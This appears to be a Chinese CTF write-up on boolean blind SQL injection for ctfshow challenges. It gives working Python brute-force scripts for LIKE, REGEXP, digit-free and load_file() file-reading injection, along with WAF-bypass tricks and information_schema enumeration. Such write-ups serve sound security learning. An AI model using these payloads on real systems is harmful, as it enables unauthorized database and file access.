目录

  1. 1. 布尔盲注
  2. 2. like盲注
  3. 3. regexp盲注
    1. 3.1. 无数字引号盲注
  4. 4. 盲注读文件
  5. 5. 无数字盲注

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

SQL布尔盲注

2023/5/6 Web python Sql
  |     |   总文章阅读量:

布尔盲注

盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False

本篇尽可能结合题目进行说明

like盲注

返回用户表的记录总数时,使用like%通配符爆破flag字段

以ctfshow web183为例

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
//仅返回用户表的记录总数
      $user_count = 0;

POST传入 tableName=ctfshow_user 可以发现$user_count = 22;

再传入 tableName=`ctfshow_user`where(pass) 可以发现$user_count = 2;

那么接下来就是用like语句进行匹配flag,此时$user_count = 1;

脚本:

import requests
import string

url = 'http://8392eb4e-8314-4aca-a90b-af4e7fb44d06.challenge.ctf.show/select-waf.php'
uuid = string.digits + string.ascii_lowercase + "-}"
passwd = "`ctfshow_user`where(pass)like'ctfshow{"
count = 0

for i in range(40):
    count += 1
    print("第", count, "次执行")
    for char in uuid:
        data = {'tableName': passwd + f"{char}%'"}
        res = requests.post(url, data=data)
        if "$user_count = 1;" in res.text:
            passwd += char
            print(passwd)
            break

regexp盲注

过滤where时,可使用group by+ having + regexp的方式进行注入

以ctfshow web184为例

输入与返回大致与上文的like盲注相同

过滤了where

脚本:

import requests
import string

url = 'http://7611653d-42d4-474d-a57a-14af8133bd46.challenge.ctf.show/select-waf.php'
uuid = string.digits + string.ascii_lowercase + "-}"
passwd = 'ctfshow_user group by pass having pass regexp(0x63746673686f777b'  #ctfshow{

for i in range(40):
    for char in uuid:
        data = {'tableName': passwd + f"{hex(ord(char))[2:]})"} # 因为要拼接进前面的十六进制字符串中,所以这里从第二个开始截(去掉0x)
        res = requests.post(url, data=data)
        if "$user_count = 1;" in res.text:
            passwd += hex(ord(char))[2:]
            print(passwd)
            break

无数字引号盲注

过滤数字和引号时,可用regexp(concat(char(xxx),char(xxx)...))

以ctfshow web185 186为例

该表格为可代替数字的基础表达式,要获得更多数字就对下列值进行加减乘除即可

expression
false 0
true 1
true+true 2
floor(pi()) 3
ceil(pi()) 4

脚本:

# @Author:Kradress
from operator import concat
import requests
import string

url = 'http://6717f27a-2912-48e6-927d-d025d0418954.challenge.ctf.show/select-waf.php'
uuid = string.digits + string.ascii_lowercase + "-}"
passwd = 'ctfshow_user group by pass having pass regexp('  #ctfshow{
flag = 'ctfshow{'


def numToStr1(str): # 使用concat连接字符得到字符串
    parts = []
    for s in str:
        parts.append(numToStr2(s))
    res = ','.join(parts)
    return f"concat({res})"


def numToStr2(num): # 获取字符转换为ASCll码值为n并用n个true代替
    parts = []
    n = ord(num)
    for i in range(n):
        parts.append("true")
    res = "+".join(parts)
    return f"char({res})"


for i in range(40):
    for char in uuid:
        data = {'tableName': passwd + f"{numToStr1(flag+char)})"}
        res = requests.post(url, data=data)
        if "$user_count = 1;" in res.text:
            flag += char
            print(flag)
            break

盲注读文件

使用load_file()regexp()的方式进行字符串匹配实现文件读取

以ctfshow web189为例

原理:

username=0username=1时分别有不同的回显

由此可以进行布尔盲注,根据回显的不同结果来注入

于是通过loadfile()读取已知flag文件位置的内容,使用regexp()进行匹配,匹配的结果通过if()函数设置为返回0或1

PS:一般情况下if()也可以替代为case函数或使用||or

脚本:

# @Author:Kradress
from operator import concat
import requests
import string

url = 'http://92baa344-30c3-492b-a2b9-27bb3ffcc387.challenge.ctf.show/api/'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{" #ctfshow{
flag = 'ctfshow{'

for i in range(40):
    for char in uuid:
        data = {
            'username' : passwd + f"{char}'),0,1)",
            'password' : 0
        }
        res = requests.post(url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
            passwd += char
            print(passwd)
            break

无数字盲注

ctfshow web223

查询语句

$sql = select * from ctfshow_user group by $username;

过滤了数字,和上面的无数字引号盲注差不多

先测试正误的回显

image-20230814165043203

image-20230814165143486

那么可以以passwordAUTO作为判断点来写脚本

python脚本 by boogipop

url='http://4cc7e20c-d356-4c50-b6d3-ab9282a09438.challenge.ctf.show/api/'
import requests
result=''
i=0
def getnumber(i):
    num='true'
    if num == 1:
        return num
    else:
        for i in range(i-1):
            num+='+true'
        return num

while True:
    i+=1
    head=1
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{getnumber(i)},true))>{getnumber(mid)},username,true)"
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{getnumber(i)},true))>{getnumber(mid)},username,true)"
        payload = f"if(ascii(substr((select flagasabc from ctfshow_flagas),{getnumber(i)},true))>{getnumber(mid)},username,true)"

        data={
            "u":payload
        }
        r=requests.get(url,params=data)
        if "passwordAUTO" in r.text:
            head=mid+1
        else:
            tail=mid
    if head!=1:
        result+=chr(head)
        print(result)
    else:
        break